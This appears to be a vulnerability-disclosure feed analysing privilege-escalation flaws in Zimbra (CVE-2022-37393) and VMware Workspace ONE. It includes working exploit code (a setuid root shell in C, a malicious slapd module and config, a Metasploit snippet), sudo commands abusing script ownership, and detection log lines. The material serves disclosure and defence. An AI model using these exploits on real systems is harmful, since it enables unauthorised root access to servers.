Activity Feed

Indicated source as
Indicated source as
Indicated source as
  • Other: Rapid7 has received reliable private reports of widespread exploitation in the wild
Indicated source as
  • Other: Rapid7 has received reliable private reports of exploitation
1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very Low
Technical Analysis

Ultimately, this is annoying and unreliable to exploit, but we did get it working and confirm it’s a problem.

Technical Analysis

Description

On October 27, 2021, Darren Martyn posted an exploit for a privilege escalation vulnerability in Zimbra Collaboration Suite. Due to Zimbra’s disclosure policy, which forbids publishing exploit code, he opted not to report it to them.

If successfully exploited, a user with a shell account as the zimbra user (say, by exploiting CVE-2022-30333) can use CVE-2022-37393 to escalate to root privileges. As of this writing, all current versions of Zimbra are affected, including 9.0.0 P25 and 8.8.15 P32.

While this issue requires a local account on the Zimbra host, there have been three remote code execution vulnerabilities in Zimbra lately: CVE-2022-30333 (unrar), CVE-2022-27924 (memcached injection), and CVE-2022-27925 (arbitrary file upload as the admin user). Additionally, Zimbra is quite popular (as of this writing, there are approximately 62,000 Internet-facing hosts from a quick Shodan query).

We ran across Darren Martyn’s blog post and exploit over the course of researching a separate Zimbra issue (CVE-2022-30333), verified the privilege escalation works, and decided it was worth reporting. We reported it to Zimbra on July 21, 2022, and created CVE-2022-37393 to track it. We also published a Metasploit module to help test the issue.

We are not aware of active exploitation of CVE-2022-37393 at this time, but it could be very difficult to detect successful exploitation because it grants root access.

Technical analysis

We analyzed this vulnerability based on our research, combined with Darren Martyn’s blog post, which outlines the attack in detail.

The core of the issue is that the Zimbra user account has passwordless sudo access to a bunch of different executables:

zimbra@zimbra:~$ sudo -l
Matching Defaults entries for zimbra on zimbra:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, !requiretty

User zimbra may run the following commands on zimbra:
    (root) NOPASSWD: /opt/zimbra/libexec/zmstat-fd *
    (root) NOPASSWD: /opt/zimbra/libexec/zmslapd
    (root) NOPASSWD: /opt/zimbra/common/sbin/postfix
    (root) NOPASSWD: /opt/zimbra/common/sbin/postalias
    (root) NOPASSWD: /opt/zimbra/common/sbin/qshape.pl
    (root) NOPASSWD: /opt/zimbra/common/sbin/postconf
    (root) NOPASSWD: /opt/zimbra/common/sbin/postsuper
    (root) NOPASSWD: /opt/zimbra/common/sbin/postcat
    (root) NOPASSWD: /opt/zimbra/libexec/zmqstat
    (root) NOPASSWD: /opt/zimbra/libexec/zmmtastatus
    (root) NOPASSWD: /opt/zimbra/common/sbin/amavis-mc
    (root) NOPASSWD: /opt/zimbra/common/sbin/nginx
    (root) NOPASSWD: /opt/zimbra/libexec/zmmailboxdmgr

CVE-2022-37393 specifically affects zmslapd, which is a shell script that
essentially runs slapd with a custom environment:

zimbra@zimbra:~$ cat /opt/zimbra/libexec/zmslapd 
#!/bin/bash
[...]

ulimit -n 32768
ulimit -c unlimited
ulimit -v unlimited
export LD_PRELOAD=/opt/zimbra/common/lib/libtcmalloc_minimal.so
exec /opt/zimbra/common/libexec/slapd "$@"

slapd is a standalone LDAP daemon, which can run as an arbitrary user and group:

zimbra@zimbra:~$ man slapd
[...]
-u user
       slapd  will  run  slapd with the specified user name or id, and that user's supplementary group access list as set with initgroups(3).  The group ID is also changed to this user's gid, unless the -g
       option is used to override.  Note when used with -r, slapd will use the user database in the change root environment.

       Note that on some systems, running as a non-privileged user will prevent passwd back-ends from accessing the encrypted passwords.  Note also that any shell back-ends will run as the  specified  non-
       privileged user.

-g group
       slapd will run with the specified group name or id.  Note when used with -r, slapd will use the group database in the change root environment.

And can accept a configuration file:

-f slapd-config-file
       Specifies the slapd configuration file. The default is /opt/zimbra/common/etc/openldap/slapd.conf.

Which can contain plugins:

zimbra@zimbra:~$ cat /opt/zimbra/common/etc/openldap/slapd.conf
[...]
# Load dynamic backend modules:
# modulepath	/opt/zimbra/common/libexec/openldap
# moduleload	back_mdb.la
# moduleload	back_ldap.la

Darren demonstrated a very simple C program that spawns a shell (rootslap.c):

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

And a shared module that will setuid that shell so it runs as root (libhax.c):

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/slapper/rootslap", 0, 0);
    chmod("/tmp/slapper/rootslap", 04755);
    printf("[+] done!\n");
}

And a configuration file for slapd (slapd.conf):

modulepath	/tmp/slapper
moduleload	libhax.so

You can automate all this with his published proof of concept, but to run it directly (note that we simplified some of their compilation commands):

zimbra@zimbra:/tmp$ gcc -shared -o /tmp/slapper/libhax.so ./libhax.c                 
[...]
zimbra@zimbra:/tmp$ gcc -o /tmp/slapper/rootslap ./rootslap.c                        
[...]
zimbra@zimbra:/tmp$ sudo /opt/zimbra/libexec/zmslapd -u root -g root -f ./slapd.conf 
[+] done!
zimbra@zimbra:/tmp$ ls -l slapper/rootslap                                           
-rwsr-xr-x 1 root root 8480 Jul 21 22:18 slapper/rootslap
zimbra@zimbra:/tmp$ slapper/rootslap                                                 
# whoami
root

We essentially implemented the same attack in Metasploit, except that we use a built-in payload:

config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"
write_file(config_path, config)

write_file(library_path, generate_payload_dll)

cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"
print_status "Attempting to trigger payload: #{cmd}"
cmd_exec(cmd)

IOCs

Because Zimbra is installed on a standard Linux system, specific detection will depend on exactly how that host is configured. However, on the Ubuntu 18.04 machine that we used for testing, /var/log/auth.log reveals the attack very plainly:

ron@zimbra:/var/log$ cat auth.log | grep 'sudo.*slapd'
[...]
Jul 19 16:06:44 zimbra sudo:   zimbra : TTY=unknown ; PWD=/tmp/slapper ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/slapper/slapd.conf
Jul 19 20:30:59 zimbra sudo:   zimbra : TTY=unknown ; PWD=/opt/zimbra ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -l LOCAL0 -u zimbra -h ldap://zimbra.example.org:389 ldapi:/// -F /opt/zimbra/data/ldap/config
Jul 21 19:44:30 zimbra sudo:   zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.A3VaIcB/.psEGEYqz
Jul 21 19:44:48 zimbra sudo:   zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.caYdb4i/.rxxxpPws0
Jul 21 19:45:01 zimbra sudo:   zimbra : TTY=unknown ; PWD=/opt/zimbra/log ; USER=root ; COMMAND=/opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.SbiD7D94BJ/.lVQpf
[...]

Guidance

Customers should patch all Zimbra installations as quickly as possible to prevent other vulnerabilities from being exploited.

References

1
Ratings
Technical Analysis

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.

To demonstrate and exploit this vulnerability, the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/

At this point, the horizon user has write access (through ownership) to a variety of scripts that they also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list. A careful attacker would have backed up the ownership information for each file in the directory they intend to target, and restored them once they had obtained root-level permissions.

The root cause of this vulnerability is that the exportProtectedLogs subcommand invokes the getProtectedLogs function which will change the ownership information to the TOMCAT_USER which happens to be horizon.

Excerpt from getProtectedLogFiles.hzn:

function getProtectedLogs()
{
    chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION
    rm -f $TARGET_DIR_LOCATION/messages*
    rm -f $TARGET_DIR_LOCATION/boot*
    rm -rf $TARGET_DIR_LOCATION/journal*

    cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION
    cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION
    chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/

}

See the original disclosure for more information.

1
Ratings
Technical Analysis

The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.

The vulnerability is due to the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh are such that the horizon user is both the owner and has access to invoke this file.

To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:

sudo /usr/local/horizon/scripts/certproxyService.sh restart

Note, that depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command:

sudo /opt/vmware/certproxy/bin/certproxyService.sh restart

In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list. The certproxyService.sh script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service, dispatches to /etc/rc.d/init.d/vmware-certproxy through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh.

The horizon user should not be the owner of or have write access to any executable files that run as root.

See the original disclosure for more information. This vulnerability has a public exploit in the form of a Metasploit module.